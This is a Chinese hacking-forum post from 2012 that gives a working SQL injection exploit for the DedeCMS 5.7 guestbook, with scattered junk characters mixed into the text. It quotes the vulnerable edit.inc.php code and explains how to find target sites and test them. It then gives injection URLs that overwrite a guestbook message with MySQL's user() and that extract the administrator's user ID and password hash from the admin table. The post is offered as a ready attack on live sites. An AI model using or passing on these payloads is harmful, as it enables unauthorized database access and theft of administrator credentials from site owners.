找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3826|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.75 K9 W! S7 v* N

, o& r$ q: Q& E7 V  K. I: P* V! ^漏洞文件edit.inc.php具体代码:
1 ~0 y5 ~' B. [' C: s
6 j* M3 `; v  \3 Z# J# k- Z. H; R< ?php  4 Q& g7 D; F: y1 b% {& \

- M$ k$ t) [" Wif(!defined('DEDEINC')) exit('Request Error!');  
3 P( D0 ~7 i9 h
7 x  G. {2 ]4 b* T2 B% P0 d   
8 F3 c, `! w2 ]1 N' Q6 q) C0 B4 D7 v+ G* X1 W* o. `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  ( G, }5 P6 ^+ m6 r! X! t9 ?# q- K
7 k5 }8 n* s2 l
else $GUEST_BOOK_POS = "guestbook.php";  ) s6 J% M. O- h; F1 @/ z* x8 H; f& T7 G

1 z6 B; T! s3 }2 v2 _9 O: ?- w. ~4 m   3 G$ V4 e8 \$ t7 F+ y' t$ u# O6 b

! s( ?% V$ o- O$id = intval($id);  # O, G; C8 s$ z' ~! W

$ l# X! ~$ G1 ]' P) \9 \/ }if(empty($job)) $job='view';  
: a# q! u0 o" P6 k6 V$ a' d9 P% I$ A: S8 A! ?4 N; G9 P
   : x9 H! U) N4 a2 H4 F% u! d2 M
5 w* J& e1 L. f4 Z; T8 V
if($job=='del' && $g_isadmin)  
- o9 I& b8 D" k3 U+ k. [3 _$ b5 V
, }2 j/ x. w/ L% B# J{  
  R# d; z4 }1 y2 f% ~) i% f
0 c' _1 E3 K. G, n/ B$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
+ a! \3 S; @; b2 v
9 j- j- z/ R$ I+ k$ ]ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  5 T/ U* G  @0 Z# H$ m

) V* [' q) c5 |  \6 L) x; ?: a5 W0 l& Texit();  # ^9 m, I/ D4 j6 @; R: N- e* v8 ?
9 B& w6 |4 F  G6 k% \; h
}  
5 @* K* k0 t" v, Z
/ v8 T! E2 l3 D/ d+ x" [' y. `else if($job=='check' && $g_isadmin)  3 r/ J( s" D: Q: |& g) B
; t$ x- g) V. k
{  
6 h  _  N% v& ~% I5 w
' {& S+ Z9 @0 n2 x  C4 [3 {$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
! \; Y# o; \% Q% x/ B1 `( ?
! a( z% \) D# c/ H" l! U7 P" {1 RShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
8 ?- N9 y) c0 H3 ?! y0 x5 ]; }# n1 f! S' F" }# P
exit();  
6 L4 Z2 X4 v* `. _5 v
* N. @; N+ o: K3 M( q}  7 c7 J' E2 a1 `7 V
, m; C; k( ~+ Z3 B. m
else if($job=='editok')  7 X: F1 D) k" z, i, y( [- S+ U
& p# G/ U$ s. [7 Z5 Q" s- l
{  
0 ]+ o  I* H! R( I5 ?/ `0 o$ O( T/ B( W
$remsg = trim($remsg);  
. u! k! m7 S6 v: `
; ~9 ]* m/ _4 d0 I: _3 qif($remsg!='')  
* z5 n7 r3 c! s9 T* m# R' H- {6 x% P# j$ g4 A5 U" {' m
{  
0 B& b$ |( \( G$ r' g
& q+ w. b' F6 r//管理员回复不过滤HTML By:Errorera blog:errs.cc  
0 v& m! z8 I8 k7 E& V  c# e4 X* Z
" ?- h3 @7 _. k$ E3 Eif($g_isadmin)  : b# N; }9 A/ i$ c

) O( d* t5 T& i& B, Q{  
$ z/ @0 g* E! R$ W$ A5 q" c' S: |5 X
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
3 }& o: X" V& |7 w5 G0 A& [
; |# k; o' o- P//$remsg <br /><font color=red>管理员回复:</font> }  
5 R" e/ K8 u- `, l
5 w( F. q! i1 [# ]3 w$ i4 `+ Zelse
+ Q' \  V2 ]& |# w, H% y$ V' h5 f9 {% V6 ]0 h
{  2 b5 Y% ~) N' C/ \/ @$ r
- M( v1 |) t4 I2 h+ `' b# a, b8 ]
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
4 F5 \" H% [+ f" N- A3 r2 f& g/ m; s
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  1 T( v% ^* ~1 l3 k

! ?5 o3 m7 ^) a- `$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  * w) E9 k8 T# `# _8 m4 Y; a3 V$ e
8 _* w1 d* Z/ F/ i: ^7 [$ ^3 C
$msg = $oldmsg.$remsg;  
: j  L) l/ k3 ?, P& Y( P' d5 o' s& i1 e9 V- C
}  9 P, w" v) m  f  w  I5 q7 A* A

# t: ^7 ^4 B9 J9 t}  
) y; \; }0 `0 k6 [* M7 P# y& |" N1 y
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
4 m# F+ J; k/ E2 q) L7 ], s" \6 D3 T5 L3 }- Q7 \
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");    N" w8 }3 \- P* W, ~9 F

4 x* b3 |$ ~, _# hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
1 l3 j; p- V3 Q: F
# I9 u% B) P* n: ?exit();  1 x4 \6 R/ k% H( X* E# x9 G% S! q( c
7 \7 J9 Q/ H1 e' ]
}  ' }: w; h9 e3 }3 K4 G0 [3 l

  v, J' F2 y3 P) a5 q//home:www.errs.cc  
' M8 S- ]0 ]* T7 P; D, {' C0 x
8 w8 v2 r+ k& Q: pif($g_isadmin)  
% Q6 B3 U3 \) A% Z% b* g% K, \% N, L3 m# Z. z, x8 f
{  ( M9 j) n6 W: c( _

4 B) Y6 c+ u3 \7 Z2 n6 W. W$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  : D2 G, B- j4 ?' z. N

. l7 H: y' N% ], Brequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
) ?# L( s, K4 e  |" ?6 H" }
8 M7 y9 O) ?. w& T, p8 {  O}  & y: R5 u: ^; H. @6 Y( p0 R
* i. n, I0 y4 t. T/ l
else
% d2 R/ f0 ~- O; E2 r# P3 Q
6 x8 D# L" r, G/ Z* t{  5 v2 B$ D' F% x+ x

( _; K' z, `: G5 `0 L$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" z2 Y: @: h7 d# v$ T1 |  ]- M8 ~- x
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  . z' u  x$ V+ T# B

3 z: W) ^& D! V) F" l6 ?} 漏洞成功需要条件:) D) D, @( Q+ \, H6 W& O
1. php magic_quotes_gpc=off9 d) l4 y. ]& s& _- i; P* V$ c
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。3 m$ _$ L4 W. p% o7 Z; O1 S% r& \
) N7 c1 I+ o& ~2 n; f
怎么判断是否存在漏洞:
# [8 M; ^* o8 i7 w: L6 v# \, F先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 k! O/ @+ u! v/ g$ R
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID- A4 Y% B3 o9 C3 w
访问:: H. g, }$ V8 e5 w. q1 Z4 l

& `8 Q, {7 ]; v6 b0 Pwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了7 f; b; [5 S0 ]# h* b# Y
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
5 l, s6 k# Z8 \: ]' Z  L2 e+ N
) p1 L* b9 C7 e- o1 J9 y3 a' u) o1 F* _4 a  i8 Z9 r' W; Z
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off- Q; l1 ?; A- r
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 e* Z- F, I# a+ k& _$ K
那么再次访问
0 ~) f/ t( [0 C& T
6 a9 j3 ^# l% p8 `& O  ?www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().9 O0 G0 ~: f* }4 z4 b

7 N% Q$ G7 R. r; \7 H大概利用就是这样,大家有兴趣的多研究下!!
) Z8 s) Q5 t! ?) M$ w
7 M3 L5 n; G' P, A, T2 b' p! L最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
1 R5 @6 {, D% b' C' b' L9 s6 z+ Y: d. d8 @
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表